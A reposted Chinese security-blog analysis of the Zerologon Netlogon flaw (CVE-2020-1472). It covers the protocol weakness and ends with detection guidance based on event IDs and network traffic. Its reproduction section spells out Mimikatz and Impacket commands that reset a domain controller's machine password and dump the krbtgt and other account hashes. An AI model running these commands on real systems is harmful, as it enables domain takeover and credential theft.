域提权漏洞系列分析-Zerologon漏洞分析

admin 2022年12月19日11:04:20评论8 views字数 9394阅读31分18秒阅读模式

本文是域提权漏洞系列分析中的Zerologon漏洞分析部分-其他部分还有几年的域提权漏洞和域提权手法,更多内容请加入星球。

域提权漏洞系列分析-Zerologon漏洞分析

域提权漏洞系列分析-Zerologon漏洞分析

2020年08月11日,Windows官方发布了 NetLogon 特权提升漏洞的风险通告,该漏洞编号为CVE-2020-1472,漏洞等级:严重,漏洞评分:10分,该漏洞也称为“Zerologon”,2020年9月11日,Secura高级安全专家Tom Tervoort和技术总监Ralph Moonen发表了漏洞相关的博文和白皮书,分享了Zerologon漏洞的细节,表示攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器,之后相关的EXP也就被开发出来了。

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)Windows Server, version 2004 (Server Core installation)

漏洞复现

方法一:利用Mimikatz在域主机上进行攻击

在爆发出CVE-2020-1472漏洞后,Mimikatz在2020.09.18版本中更新了Zerologon模块,并支持通过Zerologon漏洞攻击直接域控服务器,但是这种方法想要我们把Mimikatz等利用工具上传到域内主机中,如果域内主机存在杀毒软件,我们还需要进行对Mimikatz等利用工具进行免杀处理,优点就是比较方便,不用通过代理不存在因为网络问题的未知错误。

1.通过Nslookup -type=SRV _ldap._tcp命令获取域控制服务器的机器账号(如图6- 所示),一般来说机器账号为机器名加上$符号组成;

域提权漏洞系列分析-Zerologon漏洞分析

图6- 获取域控制服务器的机器账号

2.利用Mimikatz的Zerologon模块去探测域控是否存在该漏洞,如果存在漏洞就会回显“OK,Vulnerable”,如图6- 所示;

lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$

域提权漏洞系列分析-Zerologon漏洞分析图6- 探测域控是否存在该漏洞

3.利用置零修改域控密码为空,这一步会把域控win-3o8g1o8vv2e(即win-3o8g1o8vv2e$用户)的密码置为空,hash为31d6cfe0d16ae931b73c59d7e0c089c0,回显两个OK显示成功把密码置零(如图6- 所示),因为机器用户是不可以登录系统的,但是域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync攻击;

lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$ /exploit

域提权漏洞系列分析-Zerologon漏洞分析图6- 利用置零修改域控密码为空

4.Dcsync获取域管理员的Hash,这一步可以使用Mimikatz来进行Dcsync并获取域管理员帐户或 KRBTGT 帐户的哈希值即可,如图6- 所示。

lsadump::dcsync /dc:win-3o8g1o8vv2e.rd.com /authuser:win-3o8g1o8vv2e$ /authdomain:rd.com /authpassword:"" /domain:rd.com /authntlm /user:krbtgt
域提权漏洞系列分析-Zerologon漏洞分析图6- 使用Mimikatz进行Dcsync

方法二:利用socks5隧道在域外主机上进行攻击

第二种方法是在不接触对方系统情况下,利用socks5隧道使用zerologon进行置零攻击,在这个攻击中我们使用Kali Linux进行攻击利用。

1.需要在Kali linux中安装impacket,如图6- 所示。

Impacket 是一组用于处理网络协议的 Python 类。Impacket 专注于提供对数据包和某些协议(例如 SMB1-3 和 MSRPC)协议实现本身的低级编程访问。数据包可以从头开始构建,也可以从原始数据中解析,面向对象的 API 使得使用深层协议层次结构变得简单。该库提供了一组工具,作为在该库的上下文中可以完成的操作的示例。

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

python3 setup.py install

域提权漏洞系列分析-Zerologon漏洞分析图6- 安装impacket

2.使用cve-2020-1472-exploit.py将域控密码设置为空,这里需要使用我们前面搭建的代理,如图6- 所示。

proxychains4 python3 cve-2020-1472-exploit.py win-3o8g1o8vv2e$ 192.168.0.111
域提权漏洞系列分析-Zerologon漏洞分析图6- 使用cve-2020-1472-exploit.py攻击

3.用impacket中的/impacket/examples/secretsdump.py来进行Dcsync,获取域内所有用户的Hash,如图6- 所示。

proxychains4 python3 secretsdump.py -no-pass -just-dc win-3o8g1o8vv2e.rd.com/[email protected]

域提权漏洞系列分析-Zerologon漏洞分析图6- 使用Secretsdump.py来进行Dcsync

在攻击过程中,我们将域控机器的密码置为空,这一步会导致域控脱域,因为机器用户在AD中的密码(存储在ntds.dit中)与本地的注册表/lsass里面的密码不一致,需要进行恢复密码。例如使用Powershell进行一次性重置计算机的机器账户密码(包括AD,注册表,lsass 里面的密码):

powershell Reset-ComputerMachinePassword


漏洞原理

Netlogon 远程协议 (MS-NRPC)是一个远程过程调用 (RPC) 接口,存在于每个 Windows NT 工作站、服务器和域控制器中。,用于发现和管理在基于域的网络上进行用户和机器身份验证、为备份域控制器 (BDC) 复制数据库和维护从域成员到域控制器 (DC)、域的 DC 之间以及跨域的 DC 之间的域关系。每当有登录请求、域同步请求以及收到将 BDC(备份域控制器)升级为 PDC(主域控制器)的请求时,Netlogon 服务负责系统之间的通信。Netlogon 服务在为登录请求提供服务时执行许多任务,例如:

选择登录认证的目标域识别目标域中的域控制器进行认证在底座和目标系统之间的 Netlogon 服务中创建通信安全通道将身份验证请求传递给已识别的域控制器将身份验证结果返回到底座系统上的 Netlogon 服务

在前面中我们都知道:在网络登陆(NTLM)中为了对用户进行身份验证,服务器将用户凭据安全地传递给用户帐户域中的域控制器DC,在将登录请求传递给DC并且成功验证凭据之后,DC将服务器在授权决策中可以使用的用户帐户的属性引用回服务器(例如授子用户对特定文件的访问权)。

那么在这个认证的过程中, Netlogon 远程协议负责通过从服务器(充当安全通道客户机)到 DC(充当安全通道服务器)建立的安全通道将登录请求发送给DC,同时安全通道是通过使用服务器和 DC共享的密钥(服务器的机器帐户密码)计算的会话密钥对通信流量进行加密实现的,在DC上成功验证用户凭据后,Netlogo远程协议通过安全通道将用户授权属性(称为用户验证信息)传递回服务器。

漏洞利用了Netlogon远程协议中的缺陷,该协议向 DC 证明加入域的计算机的真实性和身份,由于不正确地使用 AES 操作模式,可以欺骗任何计算机帐户(包括 DC 本身)的身份,并在域中为该帐户设置一个空密码。

漏洞点一:无限次的认证请求、签名校验可以关闭

首先我们需要理解整个Netlogon和DC交互的过程:

1.通过NetrServerReqChallenge(Opnum 4)方法发送Client Challenge并获取返回Server Challenge (SC):

 NTSTATUS NetrServerReqChallenge(    [in, unique, string] LOGONSRV_HANDLE PrimaryName,    [in, string] wchar_t* ComputerName,    [in] PNETLOGON_CREDENTIAL ClientChallenge,    [out] PNETLOGON_CREDENTIAL ServerChallenge);PrimaryName:句柄ComputerName:客户端计算机的NetBIOS名称,即计算机名ClientChallenge:填充客户端请求的用户密码明文ServerChallenge:填充服务端返回的Challenge返回值:成功则返回0x00000000,失败返回一个非零错误代码

发送NetrServerReqChallenge (Opnum 4) 请求,客户端请求和域控服务器建立连接,发送ClientChallenge给服务端,如图6-所示。

域提权漏洞系列分析-Zerologon漏洞分析如图6- 发送NetrServerReqChallenge (Opnum 4) 请求

服务器在收到请求之后,如果服务器支持特定的 Netlogon RPC 方法,那么在通过对PrimaryName参数的验证后返回在Server Challenge和STATUS_SUCCESS(0x0000000),表示同意建立连接,如图6-所示。

域提权漏洞系列分析-Zerologon漏洞分析

图6- 返回NetrServerReqChallenge (Opnum 4) 响应

2.接下来是使用NetrServerAuthenticate3 (Opnum 26)或NetrServerAuthenticate2(Opnum 15)方法对客户端和服务器进行相互认证,建立会话密钥,用于客户端和服务器之间的安全通道消息保护。

 NTSTATUS NetrServerAuthenticate2(    [in, unique, string] LOGONSRV_HANDLE PrimaryName,    [in, string] wchar_t* AccountName,    [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,    [in, string] wchar_t* ComputerName,    [in] PNETLOGON_CREDENTIAL ClientCredential,    [out] PNETLOGON_CREDENTIAL ServerCredential,    [inout] ULONG * NegotiateFlags      );PrimaryName:句柄AccountName:标识包含在客户端和服务器之间共享的密钥(密码) 的帐户的名称SecureChannelType:指示此调用正在建立的安全通道的类型ComputerName:一个以 null 结尾的 Unicode 字符串,包含调用此方法的客户端计算机的NetBIOS 名称ClientCredential:客户端提供的凭据ServerCredential:服务器返回的凭证NegotiateFlags:32 位位标志,可协商选项返回值:成功则返回0x00000000,失败返回一个非零错误代码

客户端利用session_key和ClientChallenge函数计算ClientCredential并发送给服务端进行校验,如图6-所示。

域提权漏洞系列分析-Zerologon漏洞分析

图6- 发送NetrServerAuthenticate2(Opnum 15)请求

服务端也利用session_key和ClientChallenge函数去计算一个ClientCredential,如果值跟客户端发送过来的一致,就让客户端通过认证。例如DC收到ClientCredential后并通过一系列的验证步骤后,返回STATUS_SUCCESS(0x00000000),表示认证通过,如图6-所示。

域提权漏洞系列分析-Zerologon漏洞分析

图6- 返回NetrServerAuthenticate2(Opnum 15)请求

整体的流程可以简单理解为:

1.客户端调用NetrServerReqChallenge方法发送ClientChallenge给服务端2.服务端向客户端返回ServerChallenge3.双方都利用Client的hash、ClientChallenge、ServerChallenge同时计算Session_key4.客户端利用session_key和ClientChallenge函数计算ClientCredential并发送给服务端进行校验。5.服务端也利用Session_key和ClientChallenge函数去计算一个ClientCredential6.服务端对比客户端发送过来的ClientCredential,一致表示通过认证

同时在认证的整个协议包里面,默认会增加签名校验,这个签名的值是由session_key进行加密的,但是我们可以通过在NegotiateFlags中,取消设置对应的标志位来关闭这个选项的,将flag位设置为0x212fffff关闭签名校验,如图6- 所示。

域提权漏洞系列分析-Zerologon漏洞分析

图6- flag位设置为0x212fffff

综上所述,我们需要注意点2个点为:

1.客户端可以无限发送ClientCredential给服务端进行校验;2.客户端可以关闭签名校验。


漏洞点二:错误设置CFB8模式

建立安全通道时,需要使用ComputeNetlogonCredential函数对客户端的Netlogon凭据输入client challenge和服务器的Netlogon凭据输入server challenge (SC)进行加密,ComputeNetlogonCredential函数支持使用AES-128 加密算法和DES_ECB 进行加密,采用哪种加密算法在NetrServerAuthenticate3 (Opnum 26)或NetrServerAuthenticate2(Opnum 15)方法中的NegotiateFlags(32 位位标志,可协商选项)中进行定义,例如使用AES-128 加密算法,如图6-所示。

域提权漏洞系列分析-Zerologon漏洞分析

图6- NegotiateFlags 标志

漏洞点1:错误使用了 AES-128 加密算法,ComputeNetlogonCredential函数使用的是名为在8位CFB模式下使用零初始向量的AES-128加密算法:

 ComputeNetlogonCredential(Input, Sk,               Output)        SET IV = 0        CALL AesEncrypt(Input, Sk, IV, Output)

CFB是一种分组密码,可以将块密码变为自同步的流密码,CFB8模式下加密过程,如图6- 所示:

1.将明文拆分为N份,C1,C2,C3,然后定义一个初始向量IV;

2.第一先将轮加密初始向量IV,然后异或明文得到第二轮的密文,加密第二轮的密文,异或明文得到第三轮的密文;

域提权漏洞系列分析-Zerologon漏洞分析

图6- CFB加密过程

其加解密公式如下:

域提权漏洞系列分析-Zerologon漏洞分析

这种加密算法要求IV每次都要随机不同,然而ComputeNetlogonCredential 函数中IV却是固定,即IV=000000000000000000000000000000,现在如果我们控制输入的明文为0000000000000000,那么整个加密过程变量为在AES加密中的Key(AES加密使用的Key会随着每一轮Server Challenge的变化而变化)。但是因为 AES 是一种没有统计偏差的高质量密码,输入任何使用密钥加密的字符,输出中的每个位为0或1的概率都为 50%,所以8个输出位全为零的几率为1/256,所以如果我们控制明文内容为0000000000000000然后不断的进行运算,那么一定存在一个Key,使得密文为00000000,如图6- 所示。

域提权漏洞系列分析-Zerologon漏洞分析图6- IV和明文为0的运算过程

所以配合漏洞点一中的利用,我们可以通过关闭签名校验,然后发送大量的ClientCredential(0000000000000000)请求来进行验证(如图6- 所示),直至服务器那端计算出来的密文hash也全是0,就可认证通过,如图6- 所示。

域提权漏洞系列分析-Zerologon漏洞分析

图6- 发送大量ClientCredential

域提权漏洞系列分析-Zerologon漏洞分析

图6- 认证通过

利用点三:利用NetrServerPasswordSet2方法重置DC机器帐户密码

在通过认证之后,我们就可以调用RPC函数了,在漏洞的EXP中是通过NetrServerPasswordSet2 (Opnum 30)方法进行把DC的机器账号的密码重置为0,NetrServerPasswordSet2方法允许客户端为域控制器使用的帐户设置一个新的明文密码: 

NTSTATUS NetrServerPasswordSet2(    [in, unique, string] LOGONSRV_HANDLE PrimaryName,    [in, string] wchar_t* AccountName,    [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,    [in, string] wchar_t* ComputerName,    [in] PNETLOGON_AUTHENTICATOR Authenticator,    [out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,    [in] PNL_TRUST_PASSWORD ClearNewPassword);PrimaryName:自定义句柄AccountName:以 null 结尾的Unicode 字符串,包含正在更改其密码的帐户的名称SecureChannelType:一个枚举值,定义用于身份验证的安全通道ComputerName:包含发出请求的计算机的NetBIOS 名称的以 null 结尾的 Unicode 字符串Authenticator:指向NETLOGON_AUTHENTICATOR 结构的指针,包含加密的登录 凭据 和时间戳ReturnAuthenticator:指向NETLOGON_AUTHENTICATOR 结构的指针,其中包含服务器返回验证器ClearNewPassword:指向NL_TRUST_PASSWORD 结构的指针,包含如调用 NetrServerPasswordSet2中指定的加密的新密码返回值:方法成功返回0x00000000;否则,返回一个非零错误代码


那么发送NetrServerPasswordSet2 (30)请求,将NL_TRUST_PASSWORD结构中的Length 填充为0,即是清空密码。NL_TRUST_PASSWORD结构定义了一个缓冲区,用于携带要通过网络传输的计算机帐户密码,在通过网络发送之前使用协商的加密算法进行加密:

 typedef struct _NL_TRUST_PASSWORD {    WCHAR Buffer[256];    ULONG Length;  } NL_TRUST_PASSWORD,   *PNL_TRUST_PASSWORD;
域提权漏洞系列分析-Zerologon漏洞分析图6- 发送 NetrServerPasswordSet2 (30) 请求

DC返回NetrServerPasswordSet2 (30) 请求(如图6- 所示)。至此整个漏洞完成利用。

域提权漏洞系列分析-Zerologon漏洞分析


脱域问题
    导致脱域主要是因为AD里面存储的机器密码跟本机的Lsass里面存储的密码不一样,正常情况下,Domain中有一个DC和一个服务器,因为他们有一个共享的Secret(机器帐户密码),可以使用Secret进行彼此通讯建立加密通道,借助Zerologon攻击,攻击者主要更改DC的计算机帐户的密码,即是单方面更改Secret,那么就没有办法进行彼此通讯建立加密通道。


中继到DRSUAPI以实现DCSync

常规的Netlogon漏洞利用会导致脱域问题,通过中继连接直接向 DRSUAPI 协议(目录复制服务 (DRS) 远程协议点的子Rpc端口)的 RPC 端点进行身份验证获得了DCSync的权限,可以不用进行修改密码,这个攻击方法主要利用了Netlogon中的NetrLogonSamLogonWithFlags (Opnum 45)方法(如图6- 所示)。利用需要以下条件:

1.需要一个帐户来触发打印机错误2.DC上运行Print Spooler 服务3.DC存在Zerologon漏洞4.域中应该至少有 2 个 DC,因为中继回同一个 DC不起作用
域提权漏洞系列分析-Zerologon漏洞分析图6-  中继到 DRSUAPI

攻击流程:

1.在 Dcsync 中继模式和目标中设置Ntlmrelayx DC1,如图6- 所示。

域提权漏洞系列分析-Zerologon漏洞分析图6- 设置Ntlmrelayx DC1

2.对DC2触发Printer BUG,如图6- 所示。

域提权漏洞系列分析-Zerologon漏洞分析图6- 对DC2触发Printer BUG

回到 Ntlmrelayx中可以看到进行了Dcsync,如图6- 所示。

域提权漏洞系列分析-Zerologon漏洞分析图6- 进行了Dcsync

检测

通过AD系统审计日志进行检测

在8月份的补丁中,Microsoft添加了五个新的event ID,以通知易受攻击的Netlogon连接:

1.允许存在漏洞的Netlogon安全通道连接时,将生成event ID 58292.拒绝易受攻击的Netlogon连接时,将触发event ID 582758283.允许存在漏洞的Netlogon连接时触发的event ID 58305831

如果域控服务器没有打补丁,攻击者利用“Zerologon”漏洞攻击成功后会有Event ID 4742,Event ID 4742表示计算机帐户已更改,但是正常的账户更改也会产生event ID 4742(如图6- 所示),由于攻击者需要通过Netlogon协议进行多次尝试,还会产生Event ID 5805(如图6- 所示),通过组合检测这2个Event ID可以有效检测攻击利用。

域提权漏洞系列分析-Zerologon漏洞分析图6- Event ID 4742
域提权漏洞系列分析-Zerologon漏洞分析图6- Event ID 5805

通过网络流量进行检测

根据上面的漏洞分析,攻击者需要使用8字节全0 Client Challenge不断尝试得到一个正确的8字节全0 Client Credential通过认证。所以网络中将会有大量的Netlogon协议信息,可以通过检测如果短时间内出现大量的NetrServerAuthenticate3请求,并且Client Credential全为0的流量来检测攻击利用。



原文始发于微信公众号(黑白天实验室):域提权漏洞系列分析-Zerologon漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月19日11:04:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域提权漏洞系列分析-Zerologon漏洞分析https://cn-sec.com/archives/1471563.html

发表评论

匿名网友 填写信息